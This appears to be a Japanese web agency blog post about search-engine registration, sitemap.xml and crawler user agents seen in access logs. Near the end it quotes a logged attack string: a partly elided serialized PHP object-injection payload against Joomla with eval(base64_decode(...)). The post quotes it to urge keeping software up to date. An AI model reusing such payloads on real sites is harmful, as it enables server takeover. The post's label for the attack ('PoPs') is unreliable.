せっかく作ったWEBサイトに多くの方に訪れてもらいたい。商品を購入して頂きたい。資料をダウンロードして頂きたい。。。
いろいろあるかと思います。その為にはどうしたら良いでしょうか？
誰かがGoogle, Yahoo, Bingで検索し他時に検索結果に表示されないことには始まらないかと思います。
WEBサイトを立ち上げただけでは、砂漠の真ん中や大海原のなかに自販機を設置したのとかわりません！
まずはGoogleとbingに登録しましょう！
GoogleはGoogle Search ConsoleからbingはBig WEBマスターツールから可能です。
※弊社でWEB制作を受けた場合はこの辺の作業は込みです(^^
上記で登録を済ませるとGoogle,Bingからロボット（クローラー、ボット）が作成したサイトを訪れ情報を取得していきます。
アクセスログを見ることでもサイトを訪れたボットの行動を知ることが出来ます。
訪問日 訪問先サイト ボット（クローラー）
2016-07-01 04:01:02,http://fu-base.heteml.jp/fb/sitemap.xml, Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
2016-07-01 12:02:12,http://fu-base.heteml.jp/fb/sitemap.xml, Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
この２行はアクセスログの中からsitemap.xmlをGoogleとBingのボット（クローラ－）が読み込んでいる所を書き出したものです。
sitemap.xmlはボット用のサイトマップです。サイトを訪れた方用にサイトマップを作りますが、それのボット用のファイルです。
ボットも訪れた人と同じようにサイトマップやリンクをたどりサイト内を動いていきますが、sitemap.xmlがあれば優先して情報を取得していってくれます。
SEO云々を語るまえにsitemap.xmlにサイトの最新の情報を入れておくようにしておくことは大切です。
CMSを使ってサイトを構築するとこの辺の仕組みは構築出来ます。
他にもサイトに訪れてくるボットをピックアップしてみました。
“Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)” — YAHOOのボット
“Mozilla/5.0 (compatible; Steeler/3.5; http://www.tkl.iis.u-tokyo.ac.jp/~crawler/)” — 大学 喜連川研究室 で運用している Web クローラ (ロボット)Stteelerについて
“ltx71 – (http://ltx71.com/)” — 目的不明 robots.txtでお断り申請
“Mozilla/5.0 (compatible; MJ12bot/v1.4.5; 気ままにマイウエイさんが説明してます
“Mozilla/5.0 (compatible; linkdexbot/2.0; +http://www.linkdex.com/bots/)” – linkdex
“Mozilla/5.0 (compatible; Dataprovider/6.92; +https://www.dataprovider.com/)” —
“Mozilla/5.0 (compatible; electricmonk/3.2.0 +https://www.duedil.com/our-crawler/)”
“Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)” — ロシア版Googleのボット
“Mozilla/5.0 (compatible; AhrefsBot/5.1; +http://ahrefs.com/robot/)”
完全にNGなbotは以下
test|O:21:\”JDatabaseDriverMysqli\”:3:{s:2:\”fc\”;O:17:\”JSimplepieFactory\”:0:{}s:21:\”\\0\\0\\0disconnectHandlers\”;a:1:{i:0;a:2:{i:0;O:9:\”SimplePie\”:5:{s:8:\”sanitize\”;O:20:\”JDatabaseDriverMysql\”:0:{}s:8:\”feed_url\”;s:3858:\”eval(base64_decode(‘JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAu
～長いので中略～
KTs=’));JFactory::getConfig();exit\”;s:19:\”cache_name_function\”;s:6:\”assert\”;s:5:\”cache\”;b:1;s:11:\”cache_class\”;O:20:\”JDatabaseDriverMysql\”:0:{}}i:1;s:4:\”init\”;}}s:13:\”\\0\\0\\0connection\”;b:1;}\xf0\xfd\xfd\xfd’)
Joomla(CMS)を狙ったPoPs (Points of Presence) という攻撃です。対策をしていないとまずいことになります。
WEBサイトには招かれざる訪問者も多々やって来ます。PHP,データベース、CMSのバージョンが最新のものであるか確認することは大切です。
レンタルサーバーによっては古いバージョンのまま運用している業者もあったりするので注意が必要です。